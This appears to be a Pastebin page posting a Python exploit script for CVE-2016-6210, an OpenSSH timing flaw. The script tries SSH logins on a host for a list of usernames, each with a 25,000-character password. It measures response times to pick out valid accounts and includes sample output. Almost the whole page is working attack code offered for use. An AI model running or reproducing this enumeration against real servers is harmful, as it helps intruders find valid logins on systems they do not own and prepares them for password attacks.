Advertisement
Guest User

Python cve-2016-6210 exploit

a guest
Aug 7th, 2017
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.99 KB | None | 0 0
  1. #!/usr/bin/env python                                                          
  2. #                                                                              
  3. # cve-2016-6210                                                                
  4. #                                                                              
  5. # Probe a remote system for valid user logins. Time each login attempt and      
  6. # identify the longest response times as valid users. Note, only works on      
  7. # systems allowing password authentication.                                    
  8. #                                                                              
  9. # http://seclists.org/fulldisclosure/2016/Jul/51                                
  10. #                                                                              
  11. # Example output                                                                
  12. # --------------                                                                
  13. # User: richard    Time:0.41101             # <--- valid user                  
  14. # User: blahblah   Time:0.025953                                                
  15. # User: fathead    Time:0.025653            # >--- rest not valid              
  16. # User: kahnadmin  Time:0.025304                                                
  17. # User: root       Time:0.024087                                                
  18. # User: gary       Time:0.02364                                                
  19. # User: bob        Time:0.023276                                                
  20. # User: joe        Time:0.022937                                                
  21. # User: susan      Time:0.019751                                                
  22. # User: kublai     Time:0.019097                                                
  23. # User: rick       Time:0.01803                                                
  24.                                                                                
  25.                                                                                
  26. import paramiko                                                                
  27. import time                                                                    
  28.                                                                                
  29. users = ['bob', 'joe', 'gary', 'richard', 'susan', 'rick', 'kublai', 'kahn'    
  30.         'admin', 'root', 'blahblah', 'fathead']                                
  31. results = []                                                                    
  32.                                                                                
  33. if __name__ == '__main__':                                                      
  34.     p='A'*25000                                                                
  35.     ssh = paramiko.SSHClient()                                                  
  36.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())                  
  37.     for user in users:                                                          
  38.         starttime=time.clock()                                                  
  39.         try: ssh.connect('remote.example.com', username=user,                  
  40.                 password=p)                                                    
  41.         except:                                                                
  42.                 endtime=time.clock()                                            
  43.         total=endtime-starttime                                                
  44.         results.append((user, total))                                          
  45.                                                                                
  46.     results = sorted(results, key=lambda x: x[1], reverse=True)                
  47.                                                                                
  48.     # TODO: Compare each attempt time to average time; auto-suggest valid users
  49.     for result in results:                                                      
  50.         print('User: {} \t Time:{}'.format(result[0], result[1]))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement